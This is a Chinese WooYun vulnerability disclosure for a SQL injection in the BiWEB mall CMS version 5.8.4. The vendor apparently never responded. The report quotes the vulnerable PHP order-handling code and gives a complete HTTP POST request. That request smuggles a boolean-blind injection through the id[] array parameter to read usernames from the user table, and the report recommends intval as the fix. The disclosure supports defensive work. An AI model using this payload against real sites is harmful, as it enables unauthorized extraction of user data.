当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-082321

漏洞标题:BiWEB最新商城版注入一枚(无视全局过滤)

相关厂商:BiWEB

漏洞作者: 路人甲

提交时间:2014-11-10 10:05

修复时间:2015-02-08 10:06

公开时间:2015-02-08 10:06

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-10: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-02-08: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

BiWEB最新商城版注入一枚(无视全局过滤)

详细说明:

看wooyun上看到了有人提了BiWEB的一个XSS漏洞: WooYun: BIWEB商城版XSS盲打cookie ,我来找找其他的漏洞吧。去官网下BiWEB商城版最新的5.8.4来看看。
在用户操作订单的时候有个SQL注入漏洞,error-based blind 失败,bool-based blind成功,下面是分析产生过程及注入证明。
BiWEB首先对GET和POST进行了过滤,/config/filtrate.inc.php

<?php
//过滤GET或POST的值,去除两端空格和转义符号
if ($_SERVER['REQUEST_METHOD'] == 'POST'){
check::filtrateData($_POST,$arrGPdoDB['htmlspecialchars']);
}elseif($_SERVER['REQUEST_METHOD'] == 'GET'){
check::filtrateData($_GET,$arrGPdoDB['htmlspecialchars']);
}
?>

这里就先不说这种过滤的脑残之处了。
继续往下看,处理用户订单的文件/deal/adminu/my_deal.php(测试时记得要先注册一个用户并登录)。

无关代码
if ($_SERVER["REQUEST_METHOD"] == "POST"){
//id[]处理
$strId=implode(",",$_POST["id"]);
$strId="(".$strId.")";
if($_POST['id'] == ''){
check::Alert('请选择订单',-1);
}
$arrInfo = $objWebInit->getDeal($strId);

if($arrInfo['state'] ==6){
check::Alert('该订单已经完成,不能再操作',-1);
}
if($_POST['del'] !=''){
if($arrInfo['type_id'] == 1){//当订单状态为:新订单,待确认 ,可以取消
if($objWebInit->deleteDeal($strId)){
check::Alert('取消订单成功',-1);
} else {
check::Alert('取消订单失败',-1);
}
}else{
check::Alert('您无法取消订单,请跟商家联系!',-1);
}
}else{
if($arrInfo['type_id'] != 5){//当订单状态为:新订单,待确认 ,可以取消
if($objWebInit->SuccessDeal($strId)){
check::Alert('交易成功',-1);
} else {
check::Alert('交易失败',-1);
}
}else{
check::Alert('此订单已经交易成功!',-1);
}
}
}
无关代码

这是操作订单的代码,就是取消订单,可以看到,需要POST一个数组,但是POST的数据是数字型的,也就可以绕过全局过滤了。再看看后面有没有对这里POST的值进行过滤,上面代码执行了$arrInfo = $objWebInit->getDeal($strId);,去看看getDeal()。

function getDeal($id,$pass=null){
if($pass!=null) $where= " and pass='$pass'";
else $where="";
$strSQL = "SELECT * FROM $this->tablename2 ".
" Where id in ".$id.$where;
$rs = $this->db->query($strSQL);
return $rs->fetch();

到这里问题就来了,直接执行SQL了。登录,抓包,修改,增加payload。
Payload:

POST /deal/adminu/my_deal.php HTTP/1.1
Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, */*
Referer: http://192.168.0.107/deal/adminu/my_deal.php
Accept-Language: zh-CN
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: 192.168.0.107
Content-Length: 147
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: AJSTAT_ok_times=1; PHPSESSID=dg65p98c6jmaasrkc1vld9avt1
user_name=XXXXX&del=%E5%8F%96%E6%B6%88%E8%AE%A2%E5%8D%95&id[]=1&id[]=1) and mid((select user_name from biweb_user limit 0,1),1,1)='a' and (1)=(1


因为是bool-based blind,所以当猜测正确时,是这样的

bool注入条件成立副本.jpg

SQL执行情况

bool注入条件成立时执行的SQL语句副本.jpg

如果猜测不对

bool注入条件不成立副本.jpg

手工只是为了证明存在漏洞,利用时,可以写脚本,可以用工具,否则手工会累死人。

漏洞证明:

见 详细说明

修复方案:

intval

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝